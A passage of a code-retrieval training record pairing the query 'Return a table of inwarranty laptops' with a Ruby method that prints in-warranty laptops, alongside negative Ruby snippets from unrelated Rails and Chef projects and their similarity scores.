"def _get_pool(type)\n Chef::Log.warn(\"Use of deprecated pool type '#{type}' detected. \" \\\n \"Switch to symbol form; i.e. '[:#{type}]' to use the \" \\\n \"'OpenNebula::#{type}Pool'.\")\n\n case type\n when 'acl'\n OpenNebula::AclPool.new(@client)\n when 'cluster'\n OpenNebula::ClusterPool.new(@client)\n when 'datastore'\n OpenNebula::DatastorePool.new(@client)\n when 'doc'\n OpenNebula::DocumentPool.new(@client)\n when 'jsondoc'\n OpenNebula::DocumentPoolJSON.new(@client)\n when 'group'\n OpenNebula::GroupPool.new(@client)\n when 'host'\n OpenNebula::HostPool.new(@client)\n when 'image', 'img'\n OpenNebula::ImagePool.new(@client, -1)\n when 'secgroup'\n OpenNebula::SecurityGroupPool.new(@client)\n when 'tpl', 'vmtemplate', 'template'\n OpenNebula::TemplatePool.new(@client, -1)\n when 'user'\n OpenNebula::UserPool.new(@client)\n when 'vdc'\n OpenNebula::VdcPool.new(@client)\n when 'vm'\n OpenNebula::VirtualMachinePool.new(@client)\n when 'vnet'\n OpenNebula::VirtualNetworkPool.new(@client)\n else\n fail \"Invalid pool type '#{type}' specified.\"\n end\n end",
"def for_liveness_type(liveness_type)\n @liveness_type = liveness_type\n self\n end",
"def set_shipfleet\n @shipfleet = Shipfleet.find(params[:id])\n end",
"def tenants_table\n Roomer.tenants_table ||= options[:tenants_table].to_s\n end",
"def index\n @equip_types = EquipType.all\n end",
"def index\n @office_types = OfficeType.all\n end",
"def update\n\n if params[:type] == \"approve_parking\" # by staff\n parking_request = ParkingRequest.find_by_req_no(params[:id])\n the_lease = get_user_lease(parking_request.sid);\n\n # set up variables\n the_lot = nil\n the_fee = nil\n the_spot = nil\n\n if (parking_request.pref_nearby == true)\n\n #find nearby housing first\n\n building_no = the_lease.unit_no\n\n ParkingLot.all.each do |t|\n if t.nearby_housing == building_no\n the_lot = t.lot_no\n end\n break if !the_lot.nil?\n end\n\n if (parking_request.is_disabled) # disabled?\n ParkingSpot.where(:lot_no => the_lot, :occupant => nil).each do |t|\n if t.class_id == 4\n the_spot = t\n the_fee = ParkingClass.find_by_class_id(t.class_id).fee\n end\n break if !the_spot.nil?\n end\n\n else # not disabled!\n\n ParkingSpot.where(:lot_no => the_lot, :occupant => nil).each do |t|\n if t.class_id == parking_request.vehicle_type\n the_spot = t\n the_fee = ParkingClass.find_by_class_id(t.class_id).fee\n end\n break if !the_spot.nil?\n end\n\n end\n\n elsif is_guest? #only general parking is allowed\n\n ParkingSpot.where(:lot_no => 7, :occupant => nil).each do |t|\n if t.class_id == parking_request.vehicle_type\n the_spot = t\n the_fee = ParkingClass.find_by_class_id(t.class_id).fee\n end\n break if !the_spot.nil?\n end\n\n else # any parking is fine\n\n ParkingSpot.where(:occupant => nil).each do |p|\n if (parking_request.is_disabled && p.class_id == 4)\n the_spot = p\n the_fee = ParkingClass.find_by_class_id(p.class_id).fee\n elsif (parking_request.vehicle_type == p.class_id)\n the_spot = p\n the_fee = ParkingClass.find_by_class_id(p.class_id).fee\n end\n break if !the_spot.nil?\n end\n\n end\n\n if the_spot.nil?\n # error message! no parking spot available\n redirect_to parking_request\n return\n end\n # update to signed lease\n\n if SignedLease.update(the_lease.lease_no, :parking_spot => the_spot.spot_no, :parking_fee => the_fee)\n\n the_spot.occupant = parking_request.sid\n the_spot.save\n\n parking_request.app_status = 2\n parking_request.save\n\n redirect_to parking_requests_url\n return\n else\n # something is wrong!!!!\n end\n\n elsif (params[:type] == \"cancel_parking\") # cancel parking\n\n end\n\n #respond_to do |format|\n # if @signed_lease.update(signed_lease_params)\n # format.html { redirect_to @signed_lease, notice: 'Signed lease was successfully updated.' }\n # format.json { render :show, status: :ok, location: @signed_lease }\n # else\n # format.html { render :edit }\n # format.json { render json: @signed_lease.errors, status: :unprocessable_entity }\n # end\n #end\n end",
"def inventory_for_longitudinal_presentation_unit_type_measurement\n inventories.map(& :quantity).inject(0) { |s,v| s += v } * packing_material.quantity\n end",
"def equipement_name(type, id)\n return Vocab::None if id == 0\n type == 0 ? weapon_name(id) : armor_name(id)\n end",
"def company_opportunity_select_type\n [\n ['Proyecto virtual', Opportunity::TYPE_VIRTUAL],\n ['Trabajos express', Opportunity::TYPE_SEASONAL],\n ['Empleo temporal', Opportunity::TYPE_ON_SITE],\n ['Empleo', Opportunity::TYPE_FIRST_JOB],\n ['Práctica', Opportunity::TYPE_PRACTICE]\n ]\n end",
"def getFees(airplane, fbo, timeUnit = nil, timeLength = 0, landingTime = nil)\n\n\t\tif !landingTime.nil?\n\t\t\tlandingTime = timeToMinutes(landingTime)\n\t\tend\n\n\t\tfees = Fee.where( :fbo => fbo )\n\t\tisEstimate = false\n\n\t\tfees.each do |curFee|\n\n\t\t\tclassificationDesc = curFee.classification.classification_description\n\t\t\tcurCategory = curFee.category.category_description\n\n\t# Figure out if categories are missing so that the data retrieval is more complete\n\t# WWWWHHHEEEEEEEEE\n\t\t\tif classificationDesc == \"engine type\"\n\t# doesn't have piston multi light\n\t\t\t\tif !hasCategory(fees, \"piston multi light\") and hasCategory(fees, \"piston multi heavy\") and airplane.engine_class == \"piston multi light\"\n\t\t\t\t\tairplane.engine_class = \"piston multi heavy\"\n\t\t\t\t\tisEstimate = true\n\t# doesn't have piston multi heavy\n\t\t\t\telsif !hasCategory(fees, \"piston multi heavy\") and hasCategory(fees, \"piston multi light\") and airplane.engine_class == \"piston multi heavy\"\n\t\t\t\t\tairplane.engine_class = \"piston multi light\"\n\t\t\t\t\tisEstimate = true\n\t# doesn't have turboprop single heavy\n\t\t\t\telsif !hasCategory(fees, \"turboprop single heavy\") and hasCategory(fees, \"turboprop single light\") and airplane.engine_class == \"turboprop single heavy\"\n\t\t\t\t\tairplane.engine_class = \"turboprop single light\"\n\t\t\t\t\tisEstimate = true\n\t# doesn't have turboprop single light\n\t\t\t\telsif !hasCategory(fees, \"turboprop single light\") and hasCategory(fees, \"turboprop single heavy\") and airplane.engine_class == \"turboprop single light\"\n\t\t\t\t\tairplane.engine_class = \"turboprop single heavy\"\n\t\t\t\t\tisEstimate = true\n\t# doesn't have turboprop twin light\n\t\t\t\telsif !hasCategory(fees, \"turboprop twin light\") and hasCategory(fees, \"turboprop twin medium\") and airplane.engine_class == \"turboprop twin light\"\n\t\t\t\t\tairplane.engine_class = \"turboprop twin medium\"\n\t\t\t\t\tisEstimate = true\n\t\t\t\telsif !hasCategory(fees, \"turboprop twin light\") and hasCategory(fees, \"turboprop twin heavy\") and airplane.engine_class == \"turboprop twin light\"\n\t\t\t\t\tairplane.engine_class = \"turboprop twin heavy\"\n\t\t\t\t\tisEstimate = true\n\t# doesn't have turboprop twin medium\n\t\t\t\telsif !hasCategory(fees, \"turboprop twin medium\") and hasCategory(fees, \"turboprop twin heavy\") and airplane.engine_class == \"turboprop twin medium\"\n\t\t\t\t\tairplane.engine_class = \"turboprop twin heavy\"\n\t\t\t\t\tisEstimate = true\n\t\t\t\telsif !hasCategory(fees, \"turboprop twin medium\") and hasCategory(fees, \"turboprop twin light\") and airplane.engine_class == \"turboprop twin medium\"\n\t\t\t\t\tairplane.engine_class = \"turboprop twin light\"\n\t\t\t\t\tisEstimate = true\n\t# doesn't have turboprop twin heavy\n\t\t\t\telsif !hasCategory(fees, \"turboprop twin heavy\") and hasCategory(fees, \"turboprop twin medium\") and airplane.engine_class == \"turboprop twin heavy\"\n\t\t\t\t\tairplane.engine_class = \"turboprop twin medium\"\n\t\t\t\t\tisEstimate = true\n\t\t\t\telsif !hasCategory(fees, \"turboprop twin heavy\") and hasCategory(fees, \"turboprop twin light\") and airplane.engine_class == \"turboprop twin heavy\"\n\t\t\t\t\tairplane.engine_class = \"turboprop twin light\"\n\t\t\t\t\tisEstimate = true\n\t# doesn't have light jet\n\t\t\t\telsif !hasCategory(fees, \"light jet\") and hasCategory(fees, \"midsize jet\") and airplane.engine_class == \"light jet\"\n\t\t\t\t\tairplane.engine_class = \"midsize jet\"\n\t\t\t\t\tisEstimate = true\n\t\t\t\telsif !hasCategory(fees, \"light jet\") and hasCategory(fees, \"super midsize jet\") and airplane.engine_class == \"light jet\"\n\t\t\t\t\tairplane.engine_class = \"super midsize jet\"\n\t\t\t\t\tisEstimate = true\n\t\t\t\telsif !hasCategory(fees, \"light jet\") and hasCategory(fees, \"heavy jet\") and airplane.engine_class == \"light jet\"\n\t\t\t\t\tairplane.engine_class = \"heavy jet\"\n\t\t\t\t\tisEstimate = true\n\t# doesn't have midsize jet\n\t\t\t\telsif !hasCategory(fees, \"midsize jet\") and hasCategory(fees, \"super midsize jet\") and airplane.engine_class == \"midsize jet\"\n\t\t\t\t\tairplane.engine_class = \"super midsize jet\"\n\t\t\t\t\tisEstimate = true\n\t\t\t\telsif !hasCategory(fees, \"midsize jet\") and hasCategory(fees, \"light jet\") and airplane.engine_class == \"midsize jet\"\n\t\t\t\t\tairplane.engine_class = \"light jet\"\n\t\t\t\t\tisEstimate = true\n\t\t\t\telsif !hasCategory(fees, \"midsize jet\") and hasCategory(fees, \"heavy jet\") and airplane.engine_class == \"midsize jet\"\n\t\t\t\t\tairplane.engine_class = \"heavy jet\"\n\t\t\t\t\tisEstimate = true\n\t# doesn't have super midsize jet\n\t\t\t\telsif !hasCategory(fees, \"super midsize jet\") and hasCategory(fees, \"heavy jet\") and airplane.engine_class == \"super midsize jet\"\n\t\t\t\t\tairplane.engine_class = \"heavy jet\"\n\t\t\t\t\tisEstimate = true\n\t\t\t\telsif !hasCategory(fees, \"super midsize jet\") and hasCategory(fees, \"midsize jet\") and airplane.engine_class == \"super midsize jet\"\n\t\t\t\t\tairplane.engine_class = \"midsize jet\"\n\t\t\t\t\tisEstimate = true\n\t\t\t\telsif !hasCategory(fees, \"super midsize jet\") and hasCategory(fees, \"light jet\") and airplane.engine_class == \"super midsize jet\"\n\t\t\t\t\tairplane.engine_class = \"light jet\"\n\t\t\t\t\tisEstimate = true\n\t# doesn't have heavy jet\n\t\t\t\telsif !hasCategory(fees, \"heavy jet\") and hasCategory(fees, \"super midsize jet\") and airplane.engine_class == \"heavy jet\"\n\t\t\t\t\tairplane.engine_class = \"super midsize jet\"\n\t\t\t\t\tisEstimate = true\n\t\t\t\telsif !hasCategory(fees, \"heavy jet\") and hasCategory(fees, \"midsize jet\") and airplane.engine_class == \"heavy jet\"\n\t\t\t\t\tairplane.engine_class = \"midsize jet\"\n\t\t\t\t\tisEstimate = true\n\t\t\t\telsif !hasCategory(fees, \"heavy jet\") and hasCategory(fees, \"light jet\") and airplane.engine_class == \"heavy jet\"\n\t\t\t\t\tairplane.engine_class = \"light\"\n\t\t\t\t\tisEstimate = true\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\tfees = fees.reject do |curFee|\n\t\t\tclassificationDesc = curFee.classification.classification_description\n\t\t\tcurCategory = curFee.category.category_description\n\n\t\t\tif classificationDesc == \"engine type\" and curCategory != \"flat rate\" and curCategory != \"no fee\" and curCategory != \"weight\" and curCategory != \"weight range\"\n\t\t\t\tif curCategory == \"jet\"\n\t\t\t\t\t!airplane.engine_class =~ /jet/\n\t\t\t\telsif curCategory == \"turboprop\"\n\t\t\t\t\t!airplane.engine_class =~ /turboprop/\n\t\t\t\telsif curCategory == \"turboprop single\"\n\t\t\t\t\t!airplane.engine_class =~ /turboprop single/\n\t\t\t\telsif curCategory == \"turboprop multi\"\n\t\t\t\t\t!airplane.engine_class =~ /turboprop multi/\n\n\t\t\t\telsif curCategory == \"piston\"\n\t\t\t\t\t!airplane.engine_class =~ /piston/\n\t\t\t\telsif curCategory == \"piston multi\"\n\t\t\t\t\t!airplane.engine_class =~ /piston multi/\n\n\t\t\t\telse\n\t\t\t\t\tcurCategory != airplane.engine_class\n\t\t\t\tend\n\t\t\tend\n\n\t\tend\n\n\t\t# For fees with the wrong engine type\n\t\tfees = fees.reject do |curFee|\t\n\t\t\tif isEstimate\n\t\t\t\tcurFee.is_estimate = true\n\t\t\tend\n\t\t\tcurCategory = curFee.category.category_description\n\t\t\tclassificationDesc = curFee.classification.classification_description\n\n\t\t\tif classificationDesc == \"engine type\" and curCategory != \"flat rate\" and curCategory != \"no fee\" and curCategory != \"weight\" and curCategory != \"weight range\"\n\t\t\t\tif curCategory == \"jet\"\n\t\t\t\t\t!airplane.engine_class =~ /jet/\n\n\t\t\t\telsif curCategory == \"turboprop\"\n\t\t\t\t\t!airplane.engine_class =~ /turboprop/\n\t\t\t\telsif curCategory == \"turboprop single\"\n\t\t\t\t\t!airplane.engine_class =~ /turboprop single/\n\t\t\t\telsif curCategory == \"turboprop multi\"\n\t\t\t\t\t!airplane.engine_class =~ /turboprop multi/\n\n\t\t\t\telsif curCategory == \"piston\"\n\t\t\t\t\t!airplane.engine_class =~ /piston/\n\t\t\t\telsif curCategory == \"piston multi\"\n\t\t\t\t\t!airplane.engine_class =~ /piston multi/\n\n\t\t\t\telse\n\t\t\t\t\tcurCategory != airplane.engine_class\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\t# For fees that have a start time and end time that are in the wrong range\n\t\tfees = fees.reject do |curFee|\n\t\t\tcurCategory = curFee.category.category_description\n\t\t\tclassificationDesc = curFee.classification.classification_description\n\n\t\t\tif !curFee.start_time.nil? and !curFee.end_time.nil? and !landingTime.nil? # If the fee has a start time and an end time, make sure it falls in the right time period.\n\t\t\t\t\n\t\t\t\tstartTime = curFee.start_time\n\t\t\t\tendTime = curFee.end_time\n\t\t\t\t# If the fee skips over midnight, add 1440 minutes (1 day) to the end time so the comparison works properly\n\t\t\t\tif startTime > endTime\n\t\t\t\t\tendTime += 1440\n\t\t\t\tend\n\n\t\t\t\tlandingTime < startTime or landingTime > endTime\n\t\t\tend\n\t\tend\n\n\t\t# For fees that use the wrong time unit\n\t\tfees = fees.reject do |curFee|\n\t\t\tif !curFee.time_unit.nil? # reject fees that use the wrong time unit\n\t\t\t\tcurFee.time_unit != timeUnit\n\t\t\tend\n\t\tend\n\n\t\t# For fees that are the wrong make/model\n\t\tfees = fees.reject do |curFee|\n\t\t\tcurCategory = curFee.category.category_description\n\t\t\tclassificationDesc = curFee.classification.classification_description\n\n\t\t\tif classificationDesc == \"make and model\" and curCategory != \"flat rate\" and curCategory != \"no fee\" and curCategory != \"weight\" and curCategory != \"weight range\"\n\t\t\t\tcurCategory != airplane.model\n\t\t\tend\n\t\tend\n\n\t\t# For fees where the airplane weight doesn't fall in the weight range\n\t\tfees = fees.reject do |curFee|\n\t\t\tcurCategory = curFee.category.category_description\n\n\t\t\tif curCategory == \"weight range\" and !curFee.unit_minimum.nil? and !curFee.unit_maximum.nil?\n\t\t\t\tairplane.weight < curFee.unit_minimum or airplane.weight > curFee.unit_maximum # reject fees if the airplane weight is less than the minimum or greater than the maximum\n\t\t\tend\n\t\tend\n\n\t\tfees = applyConditionalFees(airplane, fees, timeUnit, timeLength, landingTime)\n\t\tif fees.nil? or fees.length == 0\n\t\t\tputs \"check\"\n\t\t\treturn nil\n\t\telse\n\t\t\treturn fees\n\t\tend\n\tend",
"def standings\n placings.reject { |p| p.team.exhibition? }\n end",
"def storage_equip_items\n storage_weapons + storage_armors\n end",
"def catalogoEspecieChecklist(taxon)\n catalogos_permitidos = []\n res = { catalogos: [], riesgo: { 'NOM-059-SEMARNAT 2010' => [], 'IUCN' => [], 'CITES' => [] } }\n\n tipo_dist = tipoDistribucionChecklist(taxon)\n res[:catalogos] = tipo_dist if tipo_dist\n\n catalogos_permitidos << 4 if params[:f_desc].present? && params[:f_desc].include?('x_cat_riesgo')\n catalogos_permitidos << 2 if params[:f_desc].present? && params[:f_desc].include?('x_ambiente')\n catalogos_permitidos << 16 if params[:f_desc].present? && params[:f_desc].include?('x_residencia')\n catalogos_permitidos << 18 if params[:f_desc].present? && params[:f_desc].include?('x_formas')\n\n if catalogos_permitidos.any?\n taxon.catalogos.each do |catalogo|\n next unless catalogos_permitidos.include?(catalogo.nivel1)\n\n case catalogo.nivel1\n when 4\n next unless [1,2,3].include?(catalogo.nivel2) # Solo las categorias de riesgo y comercio\n\n case catalogo.nivel2\n when 1\n res[:riesgo]['NOM-059-SEMARNAT 2010'] << catalogo.descripcion\n when 2\n res[:riesgo]['IUCN'] << catalogo.descripcion\n when 3\n res[:riesgo]['CITES'] << catalogo.descripcion\n end\n else\n res[:catalogos] << catalogo.descripcion\n end\n end\n end\n\n if res[:catalogos].any?\n @@html << \"<p class='etiqueta-checklist m-0'>#{res[:catalogos].join(', ')}</p>\"\n end\n\n cats = []\n res[:riesgo].each do |k,v|\n next unless v.present?\n cats << \"#{k}: #{v.join(',')}\"\n end\n\n cats.any? ? \"<p class='f-categorias-riesgo-checklist text-right m-0'>#{cats.join('; ')}</p>\" : nil\n end",
"def approved_flights\n pireps.approved\n end",
"def selectable_units(user)\n return Unit.all.to_a if user.admin?\n\n units = []\n depts = []\n if division_edit_allowed?\n depts += PersonnelRequestPolicy.allowed_divisions(user).map(&:departments).flatten\n end\n\n if department_edit_allowed?\n depts += user.roles.map(&:department).compact.uniq\n depts.each do |d|\n units += Unit.where(department: d.id).to_a\n end\n end\n\n unit_edit_allowed? ? (units + user.roles.map(&:unit)).compact.uniq : units\n end"
] |
[
"0.70259136",
"0.53149456",
"0.515949",
"0.5121093",
"0.50394136",
"0.5028877",
"0.501755",
"0.49732032",
"0.48626444",
"0.48626444",
"0.4861469",
"0.48566943",
"0.48566943",
"0.48486102",
"0.48301536",
"0.4811267",
"0.4800878",
"0.47946212",
"0.47769666",
"0.47404608",
"0.47331426",
"0.47328326",
"0.47258714",
"0.47086608",
"0.46859723",
"0.4638586",
"0.4620168",
"0.4617043",
"0.45843476",
"0.45786843",
"0.45492965",
"0.4536441",
"0.45207635",
"0.45206574",
"0.4496203",
"0.44778663",
"0.4477803",
"0.44747826",
"0.44746554",
"0.44703662",
"0.44687918",
"0.44643086",
"0.44641784",
"0.44641784",
"0.4463912",
"0.44623256",
"0.4459917",
"0.4457577",
"0.44400343",
"0.44307563",
"0.4426167",
"0.4424115",
"0.44236264",
"0.44195026",
"0.4418547",
"0.4409823",
"0.44086215",
"0.4398301",
"0.43918505",
"0.43917868",
"0.43911964",
"0.43898442",
"0.43897563",
"0.4382249",
"0.4378855",
"0.43774217",
"0.43716154",
"0.43680164",
"0.43646815",
"0.4362235",
"0.4358611",
"0.43558264",
"0.43486226",
"0.43448135",
"0.4341394",
"0.43379247",
"0.4336185",
"0.4335878",
"0.43339017",
"0.4330465",
"0.43211186",
"0.4320542",
"0.43128148",
"0.43117458",
"0.431115",
"0.43028036",
"0.43001872",
"0.42966038",
"0.4290602",
"0.42901662",
"0.42898196",
"0.42895615",
"0.428785",
"0.42867768",
"0.4286535",
"0.42833337",
"0.42771772",
"0.42743194",
"0.42726925",
"0.4270699"
] |
0.6492
|
1
|
Return a table of inwarranty laptops.
|
def print_laptops_in_warranty(fleet_type)
laptops = @snipe.laptops(fleet_type)
data = laptops.find_all {|i| i['in_warranty'] }
simple_print(data, %w(warranty_expires.formatted asset_tag serial name assigned_to.username), 'warranty_expires.formatted', ['Warranty Expires', 'Asset Tag', 'Serial', 'Asset Name', 'Assigned To'])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @warranties = Warranty.all\n\n end",
"def working_items_table\n contract_info_tables = page.all(\"table.table-hover.table-bordered.table-striped\", visible: true)\n unless contract_info_tables[1].nil?\n return Helpers::OpsUiHelper::TableHelper.new(node: contract_info_tables[1])\n end\n Helpers::OpsUiHelper::TableHelper.new(node: contract_info_tables[0])\n end",
"def income_list\n end",
"def available_balances_table\n <<EOF\n\\\\section{Available Balances}\n\\\\begin{tabulary}{0.9\\\\textwidth}{R | r r c}\nAccount & Balance & Available & Type\\\\\\\\\n\\\\hline\\\\Tstrut\n #{\n [:Equity, :Asset, :Liability].map{|type|\n @accounts.find_all{|acc| acc.type == type}.map{|acc|\n [acc.name_c, acc.balance(@today).to_tex, acc.available(@today).to_tex, type.to_s].join(\" & \")\n }.join(\"\\\\\\\\ \\n\")\n }.join(\"\\\\\\\\ \\n\\n\")\n }\n\\\\end{tabulary}\nEOF\n end",
"def show\n @table_ids = @company.demands.map(&:table_id).uniq\n end",
"def nonprofit\n end",
"def available_tables(sets_of_dishes, places_per_table)\n# dishes / seats\n return sets_of_dishes / places_per_table\nend",
"def ukp2(ukpi, ret_table = true)\n n = ukpi[:n]\n c = ukpi[:c]\n items = ukpi[:items].clone\n\n # step one\n g = Array.new(c+1, 0)\n d = Array.new(c+1, n-1)\n sort_items_by_profitability!(items)\n\n gy_col = nil\n dy_col = nil\n if ret_table then\n gy_col = Array.new(c+1) { [] }\n dy_col = Array.new(c+1) { [] }\n end\n\n # step two to six\n (c+1).times do | y |\n if ret_table then\n gy_col[y] << g[y]\n dy_col[y] << d[y]\n end\n items.each_with_index do | item, j |\n if y - item[:w] >= 0 && j <= d[y - item[:w]] then\n v = g[y - item[:w]] + item[:p]\n if v > g[y] then\n g[y] = v\n d[y] = j\n if ret_table then\n gy_col[y] << g[y]\n dy_col[y] << d[y]\n end\n end\n end\n end\n end\n\n table = \"y\\tg(y)\\t\\td(y)\\n\"\n if ret_table then\n (c+1).times do | y |\n table << \"#{y}\\t#{gy_col[y].join(' ')}\\t\\t#{dy_col[y].join(' ')}\\n\"\n end\n end\n \n if ret_table then\n table\n else\n g\n end\nend",
"def index\n @lamps = Product.all.where(company: current_user.company, productable_type: 'Lamp')\n end",
"def list\n Terminal::Table.new(title: \"Items in Stock\", headings: [ 'Code', 'Name', 'Price'], rows: to_a)\n end",
"def control_table\n @paying_date = ScholarshipMonth.current.starts_on\n @indices = Index.find_with_scholarship(@user)\n @show_table_message = 1\n @bad_indices = @indices.select(&:bad_index?)\n render(:action => 'list')\n end",
"def feedable_wells_table(plate)\n tab = plate.matrix.map do |row|\n row.map do |id|\n next \"(empty)\" if id == -1\n well = Item.find(id)\n {content: \"#{well.id}\", check: is_feedable(well) ? true : false}\n end\n end\n tab.unshift((1..6).to_a)\n ['', 'A', 'B', 'C', 'D'].each.with_index{ |str, i| tab[i].unshift(str) }\n return tab\n end",
"def bylaws_passed_collection\n bylaw_table_rows = select_table(BYLAWS_PASSED_TITLE, 2)\n\n bylaw_table_rows.map do |bylaw_row|\n bylaw_builder(bylaw_row)\n end\n end",
"def index\n @non_political_expenditures = NonPoliticalExpenditure.all\n end",
"def menu\n \n #display menu to user\n res15=@con.query(\"select * from product_storage\")\n rows=[]\n table=Terminal::Table.new\n table.headings=[\"product Id\",\" Name\",\" quantitty\",\"Price\"]\n\n while res3=res15.fetch_row do\n\n rows<<[res3[0],res3[1],res3[2],res3[3]] \n end\n\n table.rows=rows\n puts \"\\n#{table}\"\n\n businesslogic\n end",
"def index\n @product_outfits = ProductOutfit.all\n end",
"def get_tables\n tables\n end",
"def print_list(db)\t\n\tpresent = db.execute(\"SELECT * FROM personal_gift JOIN purchased ON personal_gift.purchased_id=purchased.id;\")\n\n\tpresent.each do |present|\n\t \tif present['purchased'] == 0\n\t \t\tputs \"You need to buy a #{present['gift']} for #{present['name']}. It costs $#{present['cost']}.\"\n\t \telsif present['purchased'] == 1\n\t \t\tputs \"You bought a #{present['gift']} for #{present['name']}. It cost $#{present['cost']}.\"\n\t\tend\n\tend\nend",
"def index\n @admin_loans = Loan.pending\n end",
"def expense_list\n\n end",
"def index\n @lincenses = Lincense.all\n end",
"def print_table_fares\n\t \tprice_quotes = pnr_info.pq_data\n\t \tunless price_quotes.nil?\n\t \t\ttable = \"<table>\"\\\n\t \t\t\"<tr>\"\\\n\t \t\t\"<td></td>\"\\\n\t \t\t\"<td>BASE FARE</td>\"\\\n\t \t\t\"<td>EQUIV AMT</td>\"\\\n\t \t\t\"<td>TAXES/FEES/CHARGES</td>\"\\\n\t \t\t\"<td>TOTAL</td>\"\\\n\t \t\t\"</tr>\"\n\n\t \t\tif price_quotes.is_a?(Array) then\n\t \t\t\ttext_pqs = price_quotes.each {\n\t \t\t\t\t|pq|\n\t \t\t\t\ttable += tr_pq_fare(pq)\n\t \t\t\t\ttable += tr_pq_taxes(pq)\n\t \t\t\t}\n\t \t\t\ttable += tr_pq_totals(price_quotes.last)\n\t \t\telse\n\t \t\t\ttable += tr_pq_fare(price_quotes)\n\t \t\t\ttable += tr_pq_taxes(price_quotes)\n\t \t\t\ttable += tr_pq_totals(price_quotes)\n\t \t\tend\n\n\t \t\ttable += \"</table>\"\n\t \t\treturn \ttable\n\t \telse\n\t \t\treturn \"\"\n\t \tend\n\t end",
"def index\n @lawsuits = Lawsuit.all\n end",
"def show_primer_table primer_tab, primers_over_60, primers_over_90\n data = show do\n title \"Create an IDT DNA oligos order\"\n \n warning \"Oligo concentration for primer(s) #{primers_over_60} will have to be set to \\\"100 nmole DNA oligo.\\\"\" if primers_over_60 != \"\"\n warning \"Oligo concentration for primer(s) #{primers_over_90} will have to be set to \\\"250 nmole DNA oligo.\\\"\" if primers_over_90 != \"\"\n \n #check \"Click Custom DNA Oligos, click Bulk Input. Copy paste the following table and then click the Update button.\"\n \n check \"Under \\\"Custom DNA Oligos\\\", click \\\"DNA Oligos\\\", then under \\\"Single-stranded DNA\\\" click \\\"Order now\\\", and click \\\"Bulk input\\\". Copy and paste the following table there.\"\n table primer_tab\n \n check \"Click Add to Order, review the shopping cart to double check that you entered correctly. There should be #{operations.length} primers in the cart.\"\n check \"Click Checkout, then click Continue.\"\n check \"Enter the payment information, click the oligo card tab, select the Card1 in Choose Payment and then click Submit Order.\"\n check \"Go back to the main page, let it sit for 5-10 minutes, return and refresh, and find the order number for the order you just placed.\"\n \n get \"text\", var: \"order_number\", label: \"Enter the IDT order number below\", default: 100\n end\n\n operations.each { |op| op.set_output_data(\"Primer\", :order_number, data[:order_number]) }\n end",
"def index\n @suspension_lists = SuspensionList.all\n end",
"def items_table\n strings = []\n strings << @labels[:item] if determine_items_structure[:names]\n strings << @labels[:quantity] if determine_items_structure[:quantities]\n strings << @labels[:unit] if determine_items_structure[:units]\n strings << @labels[:price_per_item] if determine_items_structure[:prices]\n strings << @labels[:tax] if determine_items_structure[:taxes]\n strings << @labels[:amount] if determine_items_structure[:amounts]\n strings << items_to_a(@document.items)\n strings\n end",
"def index\n @loans = @tool.loans.all\n end",
"def index\n @loanables = current_user.loanables.includes(:loan_contracts).all\n end",
"def index\n @livingsupplies = Livingsupply.all\n end",
"def index\n @prohibitions = Prohibition.all\n end",
"def index\n @power_supplies = PowerSupply.all\n end",
"def index\n @power_supplies = PowerSupply.all\n end",
"def index\n @incident_proofs = IncidentProof.all\n end",
"def tableau\n @tableau\n end",
"def ticket_sales_keys\n [\n [14, 27, 28, 'Premières Loges 1', 75, 76],\n [19, 37, 38, 'Premières Loges 2', 85, 86],\n [20, 39, 40, 'Premières Loges 3', 87, 88],\n [21, 41, 42, 'Premières Loges 4', 89, 90],\n [22, 43, 44, 'Secondes Loges 1', 91, 92],\n [23, 45, 46, 'Secondes Loges 2', 93, 94],\n [24, 47, 48, 'Secondes Loges 3', 95, 96],\n [25, 49, 50, 'Troisièmes Loges', 97, 98],\n [26, 51, 52, 'Petites Loges', 99, 100],\n [15, 29, 30, 'Premières Places', 77, 78],\n [16, 31, 32, 'Secondes Places', 79, 80],\n [17, 33, 34, 'Troisièmes Places', 81, 82],\n [18, 35, 36, 'Places de Parterre', 83, 84]\n ]\n end",
"def get_tables\n\t\t@@tables\n\tend",
"def index\n @stills = Still.all\n end",
"def index\n @laptops = Laptop.all\n end",
"def index\n @laptops = Laptop.all\n end",
"def tables\n raise 'SevenZip#tables should never be called'\n end",
"def get_new_luns\n @lun_table.get_new_luns\n end",
"def index\n @loan_installments = LoanInstallment.all\n end",
"def index\n\t\t@beneficaries = Beneficiary.all\n\tend",
"def student_table\n table = frm.table(:class=>\"listHier lines nolines\").to_a\n end",
"def student_table\n table = frm.table(:class=>\"listHier lines nolines\").to_a\n end",
"def supp_plan_table_rows\n wait_until_bus_section_load\n tables[2].rows_text\n end",
"def shopping_list(discount_goods,total_info)\n p '***<没钱赚商店>购物清单***'\n discount_goods.each do |item|\n p \"名称:#{item['name']},数量:#{item['count']}#{item['unit']},单价:#{item['price']}(元),小计:#{item['total_price']}(元)\"\n end\n p '----------------------'\n p '挥泪赠送商品:'\n discount_goods.each do |item|\n if item['discount'] != 0\n p \"名称:#{item['name']},数量:#{item['count']-item['new_count']}#{item['unit']}\"\n end\n end\n p '----------------------'\n p \"总计:#{total_info['total_cost']}(元)\"\n p \"节省:#{total_info['total_discount']}(元)\"\n p '**********************'\n end",
"def ll_table\n\t\ttable = {}\n\t\tnon_terminals.each do |non_term|\n\t\t\ttable[non_term] = {}\n\t\t\tp_sets = predict_sets(non_term)\n\t\t\tp_sets.each_index do |i|\n\t\t\t\tp_sets[i].each do |term|\n\t\t\t\t\ttable[non_term][term] = i\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\treturn table\n\tend",
"def index\n @interest_on_housing_loans = InterestOnHousingLoan.all\n end",
"def approved_flights\n pireps.approved\n end",
"def index\n @employer_liability_insurances = EmployerLiabilityInsurance.all\n end",
